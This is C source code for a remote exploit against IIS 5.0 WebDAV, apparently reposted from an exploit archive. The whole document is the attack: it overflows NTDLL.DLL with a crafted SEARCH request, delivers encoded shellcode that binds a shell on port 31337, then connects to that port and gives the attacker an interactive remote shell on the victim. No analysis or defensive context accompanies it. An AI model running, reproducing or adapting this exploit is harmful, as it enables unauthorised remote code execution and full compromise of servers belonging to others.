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MS Windows WebDav III remote root Exploit (xwdav)
================================================= MS Windows WebDav III remote root Exploit (xwdav) ================================================= /* * IIS 5.0 WebDAV Exploit Xnuxer Lab * By Schizoprenic, Copyright (c) 2003 * WebDAV exploit without netcat or telnet and with pretty magic number as RET */ #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #define RET 0xc9c9 #define LOADLIBRARYA 0x0100107c #define GETPROCADDRESS 0x01001034 #define PORT_OFFSET 1052 #define LOADL_OFFSET 798 #define GETPROC_OFFSET 815 #define NOP 0x90 unsigned char shellcode[] = // Deepzone shellcode "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c" "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04" "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99" "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14" "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b" "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9" "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3" "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99" "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99" "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9" "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9" "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c" "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc" "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9" "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9" "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c" "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99" "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89" "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3" "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1" "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf" "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9" "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66" "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99" "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf" "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32" "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14" "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3" "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59" "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b" "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99" "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9" "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9" "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99" "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9" "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6" "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe" "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8" "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66" "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14" "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34" "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9" "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8" "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8" "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c" "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20" "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1" "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8" "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d" "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2" "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd" "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed" "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6" "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc" "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc" "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff" "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc" "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9" "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6" "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0" "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda" "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0" "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd" "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7" "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7" "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7"; char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n" "</g:searchrequest>\r\n"; void usage(char *prog) { printf("Remote Exploit for IIS 5.0 WebDAV by Xnuxer\n" "Bug overflow NTDLL.DLL\n" "Usage: %s <victim>\n", prog); exit(-1); } void shell(int sock) { fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock); } int main(int argc, char **argv) { struct hostent *he; struct sockaddr_in sock1; struct sockaddr_in sock2; unsigned short port; unsigned long ret=RET; char buffer[100000]; int sock, sck, h,i,j; if (argc != 2) usage(argv[0]); printf("Resolving %s .. ", argv[1]); if ((he = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "Unknown host\n"); exit(-1); } printf("Resolved\n"); port = htons(31337); port ^= 0x9999; *(unsigned short *)&shellcode[PORT_OFFSET] = port; *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999; *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999; bcopy(he->h_addr, &sock1.sin_addr, he->h_length); sock1.sin_family = AF_INET; sock1.sin_port = htons(80); printf("[+] Attacking to %s via port: 80\n", argv[1]); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Failed to create socket"); exit(-1); } if (connect(sock, (struct sockaddr *)&sock1, sizeof(sock1)) == -1) { perror("Failed to connect"); exit(-1); } bzero(buffer,100000); strcpy(buffer,"SEARCH /"); i = strlen(buffer); buffer[i] = NOP; for (j=i+1; j < i+2150; j+=2) *(unsigned short *)&buffer[j] = (unsigned short)ret; for (; j < i+65535-strlen(jumpcode); j++) buffer[j] = NOP; memcpy(&buffer[j], jumpcode, strlen(jumpcode)); strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n"); sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\n" "Content-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode)); strcpy(buffer+strlen(buffer), body); memset(buffer+strlen(buffer), 0x01, 1); memset(buffer+strlen(buffer), NOP, 3); strcpy(buffer+strlen(buffer), shellcode); if (send(sock, buffer, strlen(buffer), 0) != strlen(buffer)) { perror("Failed to send"); exit(-1); } printf("[+] Overflow sent, waiting for 5 seconds\n"); sleep(5); bcopy(he->h_addr, &sock2.sin_addr, he->h_length); sock2.sin_family = AF_INET; sock2.sin_port = htons(31337); printf("[+] Connecting to %s: 31337\n", argv[1]); if ((sck = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Failed to create socket"); exit(-1); } if (connect(sck, (struct sockaddr *)&sock2, sizeof(sock2)) == -1) { printf("[+] Unable to connect.\n" "[+] Exploitation failed, maybe blocked by firewall.\n"); close(sock); close(sck); exit(-1); } close(sock); printf("[+] Successfull, attempting to join shell ...\n\n"); shell(sck); return 0; } # 0day.today [2024-12-25] #